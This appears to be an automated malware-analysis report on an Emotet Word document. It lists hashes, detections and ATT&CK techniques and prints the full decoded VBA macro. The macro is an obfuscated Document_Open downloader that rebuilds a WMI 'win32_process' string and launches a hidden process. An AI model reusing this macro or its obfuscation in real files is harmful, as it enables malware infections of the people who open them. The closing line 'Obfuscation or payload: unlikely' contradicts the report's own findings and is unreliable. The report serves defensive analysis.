Emotet — Office (OOXML) malware analysis

Static analysis result for SHA-256 ac0a3681dac2a6a5…

MALICIOUS

Office (OOXML)

133.3 KB Created: 2020-01-23 22:46:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-06-05
MD5: da6c7e885b86a682ac6a3f9f4eb447c5 SHA-1: f05215584bcc7254a42c48c46a637368a19265cb SHA-256: ac0a3681dac2a6a52f8880d5945a8f3fb62601b46d278fb69d1d74a7f9780e6b
230 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample is identified as malicious by ClamAV with the signature Doc.Downloader.Emotet-7566320-0, indicating a known downloader. The presence of a Document_Open macro and the use of GetObject calls are strong indicators of malicious VBA activity. The obfuscated VBA script, while not fully decipherable, is designed to execute automatically upon opening the document, a common tactic for Emotet to download and run further malicious code.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-7566320-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7566320-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set Jbshblkts = GetObject(Mvbvprchvhy)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 15182 bytes
SHA-256: aa8bd6e97f65b483bd135a9f57b0c25b780874624bd6cf90416be7b28931bfc4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Nobtxedkqdhz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
Pzoqcdkdgqxu.Vqbwsxzcq (s)
End Sub

Attribute VB_Name = "Yhbsqdyq"
Attribute VB_Base = "0{33EF716B-B024-47DB-B8CB-096C62176434}{1075E810-05E7-473D-A62F-158614E5AF80}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Uzvjqjynx"
Attribute VB_Base = "0{2801C921-10FC-41CD-9934-19B865821875}{3D3B300B-C155-4B68-8ED7-3025A38D8291}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Edcnbspxou"
Attribute VB_Base = "0{3166F008-6E64-4EE3-BF85-FAFF50017064}{6110D8CC-0044-497D-9B3F-5DC5EF51E668}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Mbgomcraxf"
Attribute VB_Base = "0{EAD90A4F-85F1-4F64-9B5A-9337516A5B4F}{14098F3A-571B-4158-A1B6-1FFFF662C7A5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Vmsgptxfmq"
Attribute VB_Base = "0{19B3DD0F-42A5-4189-80BD-C21010975DC5}{38278BE8-7305-482F-8E45-8D42D5FB124A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Ariimhqnfmiik"
Attribute VB_Base = "0{696FDCFB-F175-459D-8A8A-ACC9458C3D46}{A7126A64-1C0B-4E55-9A86-41524D45A811}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Lfxoygqsoz"
Attribute VB_Base = "0{88053F95-060B-4D66-9BE2-2949FE8C0E0F}{A3EA1884-8751-45C9-96C3-E9F6BBFFA0D0}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Uwjzwekou"
Attribute VB_Base = "0{7FD4369A-1E4F-4D4F-894E-D443F543A75F}{B967567F-7F18-4070-BBF4-420DAD580BEE}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Nqpjgiejwv"
Attribute VB_Base = "0{E76F3E88-14CC-44DB-8465-B0EDE92F7D54}{C0B6944E-608B-4C8C-A95F-CAAC505AED8F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Zpcypjzujc"
Attribute VB_Base = "0{48E78EBD-0E37-413E-B1D8-241CE5275466}{802CA96E-3C11-4C6B-8369-E7EF5A202955}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Rwnlezfsrwjx"
Attribute VB_Base = "0{31AF3AFF-66CB-463A-B92B-76B1BA2F2833}{C9C6F15D-2A05-4517-9CB8-0E15FAD87A08}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Kkkpnlojjktfv"
Attribute VB_Base = "0{A9BE2F2E-B986-408C-AFCB-2EAC710EA2AE}{CACC7D41-231F-4146-97C2-7EABB8DB5E3A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Zzlqurkusfwp"
Attribute VB_Base = "0{C1B770E9-B0D2-463A-8181-A85486F19FEB}{26B9C4F1-C3D5-4D4D-8C6B-60588EBEA556}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Dfeprzpjtpng"
Attribute VB_Base = "0{804F7F7F-AC76-4C91-9197-816368797028}{9FD2F68C-0BF1-4A7A-86A0-845B7C505C28}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Dryebxswyg"
Attribute VB_Base = "0{888E55F8-D969-4B8A-AE17-5003523DF926}{C8688B4F-51B8-439F-8326-0ECEECB90D81}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Apskqvzog"
Attribute VB_Base = "0{2D67A5B0-0CB2-41C8-8980-9E5844C88010}{7955A243-0CA7-46C7-9420-5CB6D010F8F0}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Pdefpgvcnkx"
Attribute VB_Base = "0{DCAC79BA-BC17-412A-9A8B-52789AF60A73}{2801A5F4-F75C-40F1-927E-044E51E9D84C}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Grorcggy"
Attribute VB_Base = "0{4BE78C84-7664-442F-BEC4-935848926128}{BC0574B0-68F0-4641-A334-8514D85F387B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Zariyrgsgy"
Attribute VB_Base = "0{8B900B42-2BD4-4E80-80FF-7E775EB8A530}{C15FB0C4-03D2-4FB0-928C-B5097DC4F3B9}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Bwrdqddavc"
Attribute VB_Base = "0{C4331DAC-229C-4823-AD63-3C7313E040D4}{5F6E1D11-12ED-44FF-8D20-7A03666C4E51}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Eyhimzxqoqff"
Attribute VB_Base = "0{393A1BE7-C102-4332-818D-FDE081B3B7AA}{9D381767-5C80-4B76-9EEF-D930AECCBFA8}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Wlgrqtxxqszzq"
Attribute VB_Base = "0{45399C45-0ECC-4EAD-9C5F-0678A3A0F25C}{A181C8D3-AD25-4917-B112-C576717945B4}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Pzoqcdkdgqxu"
Function Ahtnzclbztj()
   Do While Xydmtkxxwpqze = 3456
         asdwq = (sdf _
         - Rnd(3 * CSng(dsfewew) / dsfdsf _
         * Round(qweqwe)) + sasddd - Chr(21 - CByte( _
         jjskw)) + dffqwhas + CStr(sdfff))
         ewewrg = 8 + Fix(34) + 2 / _
         iqwhnd * 3 / Rnd(kashd + Rnd(84 * xjjasd * 53 + Sin( _
         769))) / 3 / Chr(4 _
         * CStr(qwiqwhd)) / 171 / wqkehnx
Loop

 
Chrwaxzmccuk = ChrW(ijs + wdKeyP + dwf)
   Do While Ayugbwegijbr = 3456
         asdwq = (sdf _
         - Rnd(3 * CSng(dsfewew) / dsfdsf _
         * Round(qweqwe)) + sasddd - Chr(21 - CByte( _
         jjskw)) + dffqwhas + CStr(sdfff))
         ewewrg = 8 + Fix(34) + 2 / _
         iqwhnd * 3 / Rnd(kashd + Rnd(84 * xjjasd * 53 + Sin( _
         769))) / 3 / Chr(4 _
         * CStr(qwiqwhd)) / 171 / wqkehnx
Loop


Babvkbtvmj = Chrwaxzmccuk + Yhbsqdyq.Ezedzdljgzo + Yhbsqdyq.Lmcpflzungn
   Do While Ffssfhgxttqu = 3456
         asdwq = (sdf _
         - Rnd(3 * CSng(dsfewew) / dsfdsf _
         * Round(qweqwe)) + sasddd - Chr(21 - CByte( _
         jjskw)) + dffqwhas + CStr(sdfff))
         ewewrg = 8 + Fix(34) + 2 / _
         iqwhnd * 3 / Rnd(kashd + Rnd(84 * xjjasd * 53 + Sin( _
         769))) / 3 / Chr(4 _
         * CStr(qwiqwhd)) / 171 / wqkehnx
Loop


dse = Yhbsqdyq.Xfxvawqiymmcj.GroupName
Ousgwzjxn = Split(Babvkbtvmj + CStr(CVar(Trim(dse))), "i_^^najks===///")
   Do While Pguinarqwgjtw = 3456
         asdwq = (sdf _
         - Rnd(3 * CSng(dsfewew) / dsfdsf _
         * Round(qweqwe)) + sasddd - Chr(21 - CByte( _
         jjskw)) + dffqwhas + CStr(sdfff))
         ewewrg = 8 + Fix(34) + 2 / _
         iqwhnd * 3 / Rnd(kashd + Rnd(84 * xjjasd * 53 + Sin( _
         769))) / 3 / Chr(4 _
         * CStr(qwiqwhd)) / 171 / wqkehnx
Loop


Ahtnzclbztj = Join(Ousgwzjxn, "")
   Do While Qzfhqfmyqfbjw = 3456
         asdwq = (sdf _
         - Rnd(3 * CSng(dsfewew) / dsfdsf _
         * Round(qweqwe)) + sasddd - Chr(21 - CByte( _
         jjskw)) + dffqwhas + CStr(sdfff))
         ewewrg = 8 + Fix(34) + 2 / _
         iqwhnd * 3 / Rnd(kashd + Rnd(84 * xjjasd * 53 + Sin( _
         769))) / 3 / Chr(4 _
         * CStr(qwiqwhd)) / 171 / wqkehnx
Loop


End Function
Function Vqbwsxzcq(s)
dsvw = "i_^^najks===///i_^^najks===///ii_^^najks===///ni_^^najks===///mi_^^najks===///gi_^^najks===///mti_^^najks===///" + ChrW(sd + wdKeyS + de) + ":i_^^najks===///i_^^najks===///wii_^^najks===///i_^^najks===///n3i_^^najks===///2_i_^^najks===///i_^^najks===///" + Yhbsqdyq.Jyvrtxcihf + "i_^^najks===///roci_^^najks===///i_^^najks===///esi_^^najks===///si_^^najks===///i_^^najks===///"
   Do While Vxlrbyqma = 3456
         asdwq = (sdf _
         - Rnd(3 * CSng(dsfewew) / dsfdsf _
         * Round(qweqwe)) + sasddd - Chr(21 - CByte( _
         jjskw)) + dffqwhas + CStr(sdfff))
         ewewrg = 8 + Fix(34) + 2 / _
         iqwhnd * 3 / Rnd(kashd + Rnd(84 * xjjasd * 53 + Sin( _
         769))) / 3 / Chr(4 _
         * CStr(qwiqwhd)) / 171 / wqkehnx
Loop

 
iiwn = "i_^^najks===///"
   Do While Vewbfgoyp = 3456
         asdwq = (sdf _
         - Rnd(3 * CSng(dsfewew) / dsfdsf _
         * Round(qweqwe)) + sasddd - Chr(21 - CByte( _
         jjskw)) + dffqwhas + CStr(sdfff))
         ewewrg = 8 + Fix(34) + 2 / _
         iqwhnd * 3 / Rnd(kashd + Rnd(84 * xjjasd * 53 + Sin( _
         769))) / 3 / Chr(4 _
         * CStr(qwiqwhd)) / 171 / wqkehnx
Loop

 
Hyhxaihjzxbwl = Split("i_^^najks===///wi_^^najks===///i_^^najks===///i_^^najks===///" + dsvw + jwd, iiwn)
   Do While Kpbwrvnvvcw = 3456
         asdwq = (sdf _
         - Rnd(3 * CSng(dsfewew) / dsfdsf _
         * Round(qweqwe)) + sasddd - Chr(21 - CByte( _
         jjskw)) + dffqwhas + CStr(sdfff))
         ewewrg = 8 + Fix(34) + 2 / _
         iqwhnd * 3 / Rnd(kashd + Rnd(84 * xjjasd * 53 + Sin( _
         769))) / 3 / Chr(4 _
         * CStr(qwiqwhd)) / 171 / wqkehnx
Loop

 
Mvbvprchvhy = Join(Hyhxaihjzxbwl, "")
   Do While Iyvhcxjkhgq = 3456
         asdwq = (sdf _
         - Rnd(3 * CSng(dsfewew) / dsfdsf _
         * Round(qweqwe)) + sasddd - Chr(21 - CByte( _
         jjskw)) + dffqwhas + CStr(sdfff))
         ewewrg = 8 + Fix(34) + 2 / _
         iqwhnd * 3 / Rnd(kashd + Rnd(84 * xjjasd * 53 + Sin( _
         769))) / 3 / Chr(4 _
         * CStr(qwiqwhd)) / 171 / wqkehnx
Loop


Set Jbshblkts = GetObject(Mvbvprchvhy)
   Do While Qbepjebzyuy = 3456
         asdwq = (sdf _
         - Rnd(3 * CSng(dsfewew) / dsfdsf _
         * Round(qweqwe)) + sasddd - Chr(21 - CByte( _
         jjskw)) + dffqwhas + CStr(sdfff))
         ewewrg = 8 + Fix(34) + 2 / _
         iqwhnd * 3 / Rnd(kashd + Rnd(84 * xjjasd * 53 + Sin( _
         769))) / 3 / Chr(4 _
         * CStr(qwiqwhd)) / 171 / wqkehnx
Loop


Euwgubevc = Yhbsqdyq.Nengyrze.Tag
Jnzctqgyfbp = Mvbvprchvhy + ChrW(nciwd + wdKeyS) + Yhbsqdyq.Agfwszhuso.Tag + Euwgubevc
   Do While Uraajkwe = 3456
         asdwq = (sdf _
         - Rnd(3 * CSng(dsfewew) / dsfdsf _
         * Round(qweqwe)) + sasddd - Chr(21 - CByte( _
         jjskw)) + dffqwhas + CStr(sdfff))
         ewewrg = 8 + Fix(34) + 2 / _
         iqwhnd * 3 / Rnd(kashd + Rnd(84 * xjjasd * 53 + Sin( _
         769))) / 3 / Chr(4 _
         * CStr(qwiqwhd)) / 171 / wqkehnx
Loop


Nnndqxovcrz = Jnzctqgyfbp + Yhbsqdyq.Jyvrtxcihf
   Do While Cnncjbbxurty = 3456
         asdwq = (sdf _
         - Rnd(3 * CSng(dsfewew) / dsfdsf _
         * Round(qweqwe)) + sasddd - Chr(21 - CByte( _
         jjskw)) + dffqwhas + CStr(sdfff))
         ewewrg = 8 + Fix(34) + 2 / _
         iqwhnd * 3 / Rnd(kashd + Rnd(84 * xjjasd * 53 + Sin( _
         769))) / 3 / Chr(4 _
         * CStr(qwiqwhd)) / 171 / wqkehnx
Loop


Set Vqbwsxzcq = GetObject(Nnndqxovcrz)
   Do While Qjzhpgea = 3456
         asdwq = (sdf _
         - Rnd(3 * CSng(dsfewew) / dsfdsf _
         * Round(qweqwe)) + sasddd - Chr(21 - CByte( _
         jjskw)) + dffqwhas + CStr(sdfff))
         ewewrg = 8 + Fix(34) + 2 / _
         iqwhnd * 3 / Rnd(kashd + Rnd(84 * xjjasd * 53 + Sin( _
         769))) / 3 / Chr(4 _
         * CStr(qwiqwhd)) / 171 / wqkehnx
Loop


Vqbwsxzcq. _
showwindow = False
   Do While Tdrkpscihhwgv = 3456
         asdwq = (sdf _
         - Rnd(3 * CSng(dsfewew) / dsfdsf _
         * Round(qweqwe)) + sasddd - Chr(21 - CByte( _
         jjskw)) + dffqwhas + CStr(sdfff))
         ewewrg = 8 + Fix(34) + 2 / _
         iqwhnd * 3 / Rnd(kashd + Rnd(84 * xjjasd * 53 + Sin( _
         769))) / 3 / Chr(4 _
         * CStr(qwiqwhd)) / 171 / wqkehnx
Loop


Do While Jbshblkts. _
Create(wqq & Ahtnzclbztj, Swuzrcaawzus, Vqbwsxzcq, Cqaspyxpsugbk, Fbrlfdzwuhdht, Ytyvifao, Tddasqsfc, Dghtduflmqegr, Comsfnldlz, Brlcqtcumqbfl)
Loop
   Do While Zsmlslwah = 3456
         asdwq = (sdf _
         - Rnd(3 * CSng(dsfewew) / dsfdsf _
         * Round(qweqwe)) + sasddd - Chr(21 - CByte( _
         jjskw)) + dffqwhas + CStr(sdfff))
         ewewrg = 8 + Fix(34) + 2 / _
         iqwhnd * 3 / Rnd(kashd + Rnd(84 * xjjasd * 53 + Sin( _
         769))) / 3 / Chr(4 _
         * CStr(qwiqwhd)) / 171 / wqkehnx
Loop


End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 114688 bytes
SHA-256: 42ca3582be09f495dac056c07144d63a44dac0b17dabb643b65571d70753b5cf
Detection
ClamAV: Doc.Downloader.Emotet-7566320-0
Obfuscation or payload: unlikely